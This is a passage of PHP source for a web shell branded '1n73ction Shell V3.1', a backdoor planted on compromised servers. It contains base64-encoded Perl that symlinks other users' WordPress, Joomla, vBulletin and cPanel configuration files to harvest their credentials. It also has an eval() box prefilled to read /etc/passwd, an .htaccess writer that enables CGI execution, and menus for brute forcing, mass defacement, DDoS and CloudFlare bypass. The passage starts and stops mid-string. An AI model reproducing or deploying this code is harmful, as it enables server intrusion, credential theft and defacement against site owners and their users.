nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7\'; \r\n?>\r\n<html><head><link rel="SHORTCUT ICON" href="http://png-3.findicons.com/files/icons/1935/red_gems_vol_2/128/r2_dragon.png"><title>=[ 1n73ct10n privat shell ]=</title>\r\n<script type="text/javascript">\r\nfunction tukar(lama,baru){\r\n\tdocument.getElementById(lama).style.display = \'none\';\r\n\tdocument.getElementById(baru).style.display = \'block\';\r\n}\r\n</script>\r\n<style type="text/css">\r\nbody{\r\n\tbackground:#000000;;\r\n}\r\na {\r\ntext-decoration:none;\r\n}\r\na:hover{\r\nborder-bottom:1px solid #00ff00;\r\n}\r\n*{\r\n\tfont-size:11px;\r\n\tfont-family:Tahoma,Verdana,Arial;\r\n\tcolor:#00ff00;\r\n}\r\n#menu{\r\n\tbackground:#111111;\r\n\tmargin:8px 2px 4px 2px;\r\n}\r\n#menu a{\r\n\tpadding:4px 18px;\r\n\tmargin:0;\r\n\tbackground:#222222;\r\n\ttext-decoration:none;\r\n\tletter-spacing:2px;\r\n\t-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;\r\n}\r\n#menu a:hover{\r\n\tbackground:#191919;\r\n\tborder-bottom:1px solid #333333;\r\n\tborder-top:1px solid #333333;\r\n}\r\n.tabnet{\r\n\tmargin:15px auto 0 auto;\r\n\tborder: 1px solid #333333;\r\n}\r\n.main {\r\n\twidth:100%;\r\n}\r\n.gaya {\r\n\tcolor: #00ff00;\r\n}\r\n.inputz{\r\n\tbackground:#111111;\r\n\tborder:0;\r\n\tpadding:2px;\r\n\tborder-bottom:1px solid #222222;\r\n\tborder-top:1px solid #222222;\r\n}\r\n.inputzbut{\r\n\tbackground:#111111;\r\n\tcolor:#00ff00;\r\n\tmargin:0 4px;\r\n\tborder:1px solid #444444;\r\n\r\n}\r\n.inputz:hover, .inputzbut:hover{\r\n\tborder-bottom:1px solid #00ff00;\r\n\tborder-top:1px solid #00ff00;\r\n}\r\n.output {\r\n\tmargin:auto;\r\n\tborder:1px solid #00ff00;\r\n\twidth:100%;\r\n\theight:400px;\r\n\tbackground:#000000;\r\n\tpadding:0 2px;\r\n}\r\n.cmdbox{\r\n\twidth:100%;\r\n}\r\n.head_info{\r\n\tpadding: 0 4px;\r\n}\r\n.jaya{ font-family: ;}\r\n\r\n.b374k{\r\n\tfont-size:30px;\r\n\tpadding:0;\r\n\tcolor:#444444;\r\n}\r\n.b374k_tbl{\r\n\ttext-align:center;\r\n\tmargin:0 4px 0 0;\r\n\tpadding:0 4px 0 0;\r\n\tborder-right:1px solid #333333;\r\n}\r\n.phpinfo table{\r\n\twidth:100%;\r\n\tpadding:0 0 0 0;\r\n}\r\n.phpinfo td{\r\n\tbackground:#111111;\r\n\tcolor:#cccccc;\r\npadding:6px 8px;;\r\n}\r\n.phpinfo th, th{\r\n\tbackground:#191919;\r\n\tborder-bottom:1px solid #333333;\r\nfont-weight:normal;\r\n}\r\n.phpinfo h2, .phpinfo h2 a{\r\n\ttext-align:center;\r\n\tfont-size:16px;\r\n\tpadding:0;\r\n\tmargin:30px 0 0 0;\r\n\tbackground:#222222;\r\n\tpadding:4px 0;\r\n}\r\n.explore{\r\nwidth:100%;\r\n}\r\n.explore a {\r\ntext-decoration:none;\r\n}\r\n.explore td{\r\nborder-bottom:1px solid #333333;\r\npadding:0 8px;\r\nline-height:24px;\r\n}\r\n.explore th{\r\npadding:3px 8px;\r\nfont-weight:normal;\r\n}\r\n.explore th:hover , .phpinfo th:hover{\r\nborder-bottom:1px solid #00ff00;\r\n}\r\n.explore tr:hover{\r\nbackground:#111111;\r\n}\r\n.viewfile{\r\nbackground:#EDECEB;\r\ncolor:#000000;\r\nmargin:4px 2px;\r\npadding:8px;\r\n}\r\n.sembunyi{\r\ndisplay:none;\r\npadding:0;margin:0;\r\n}\r\n\r\n</style></head>\r\n<script language=\'javascript\'>\r\nif (document.all||document.getElementById){\r\nvar thetitle=document.title\r\ndocument.title=\'\'\r\n}\r\nvar data="Us3 Y0ur br41n biTch ! ! !";\r\nvar done=1;\r\nfunction statusIn(text){\r\ndecrypt(text,22,22);\r\n}\r\nfunction statusOut(){\r\nself.status=\'\';\r\ndone=1;\r\n}\r\nfunction decrypt(text, max, delay){\r\nif (done){\r\ndone = 0;\r\nrantit(text, max, delay, 0, max);\r\n} \r\n}\r\nfunction rantit(text, runs_left, delay, charvar, max){\r\nif (!done){\r\nruns_left = runs_left - 1;\r\nvar status = text.substring(0,charvar);\r\nfor(var current_char = charvar; current_char < text.length; current_char++){\r\nstatus += data.charAt(Math.round(Math.random()*data.length));\r\n}\r\ndocument.title = status;\r\nvar rerun = "rantit(\'" + text + "\'," + runs_left + "," + delay + "," + charvar + "," + max + ");"\r\nvar new_char = charvar + 1;\r\nvar next_char = "rantit(\'" + text + "\'," + max + "," + delay + "," + new_char + "," + max + ");"\r\nif(runs_left > 0){\r\nsetTimeout(rerun, delay);\r\n}\r\nelse{\r\nif (charvar < text.length){\r\nsetTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));\r\n}\r\nelse\r\n{\r\ndone = 1;\r\n}\r\n}\r\n}\r\n}\r\nif (document.all||document.getElementById)\r\nstatusIn(thetitle)\r\n</script>\r\n\r\n<body onLoad="document.getElementById(\'cmd\').focus();">\r\n<div class="main">\r\n<!-- head info start here -->\r\n<div class="head_info">\r\n<table ><tr>\r\n<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k"><img src="http://www.fbvideo.16mb.com/files/1n73ction.png" /></span></a></td></tr><tr><td><b>1n73ction Shell V3.1 [ Special Edition ]</b></td></tr></table></td>\r\n<td><?php echo $buff; ?></td>\r\n</tr></table>\r\n</div>\r\n<!-- head info end here -->\r\n<!-- menu start -->\r\n<center><div id="menu">\r\n<a href="?<?php echo "y=".$pwd; ?>"><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=\' height="18" width="34"></a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=shell">Shell</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=php">Eval</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=sql">Mysql</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=dump">Database Dump</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo">Php Info</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">Net Sploit</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=upload">Upload</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=mail">E-Mail</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=sqli-scanner">SQLI Scan</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=port-sc">Port Scan</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=dos">Ddos</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=tool">Tools</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=python">python</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink">Symlink</a><br><br>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=config">Config</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=bypass">Bypass</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi">CgiShell</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi2012">CGI Telnet 2012</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=domain">Domain</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=jodexer">Joomla IndChange</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=vb">VB IndChange</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=wp-reset">Wordpress ResPass</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=jm-reset">Joomla ResPass</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=whmcs">WHMCS Decoder</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=zone">Zone-H</a><br><br>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=mass">Mass Deface</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=wpbrute">Wordpress BruteForce</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=jbrute">Joomla BruteForce</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=brute">Cpanel BruteForce</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=bypass-cf">Bypass CloudFlare</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=adfin">Admin Finder</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=hash">Password Hash</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=hashid">Hash ID</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=string">Script Encode</a><br><br>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=whois">Website Whois</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=jss">Joomla Server Scanner</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=cms_detect">Cms Detector</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=tutor">Tutorial & Ebook</a>\r\n<a href="?<?php echo "y=".$pwd; ?>&amp;x=about">About</a>\r\n<a href="?<?php echo "y=".$pwd;\t?>&amp;x=logout">Log-Out</a>\r\n\r\n\r\n</div></center>\r\n<!-- menu end -->\r\n\r\n<?php\r\n@ini_set(\'display_errors\', 0);\r\nif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'php\')){ ?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">\r\n<table class="cmdbox">\r\n<tr><td>\r\n<textarea class="output" name="cmd" id="cmd">\r\n<?php\r\nif(isset($_POST[\'submitcmd\'])) {\r\n\techo eval(magicboom($_POST[\'cmd\']));\r\n}\r\nelse echo "echo file_get_contents(\'/etc/passwd\');";\r\n?>\r\n</textarea>\r\n<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>\r\n</table>\r\n</form>\r\n\r\n<?php } \r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sql\'))\r\n    {\r\n    ?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=sql" method="post">\r\n<?php\r\necho "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>";\r\n  mkdir(\'mysql\', 0755);\r\n    chdir(\'mysql\');\r\n        $akses = ".htaccess";\r\n        $buka_lah = "$akses";\r\n        $buka = fopen ($buka_lah , \'w\') or die ("Error cuyy!");\r\n        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\nAddType application/x-httpd-php .cpc\r\n";    \r\n        fwrite ( $buka , $metin ) ;\r\n        fclose ($buka);\r\n$sqlshell = \'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgk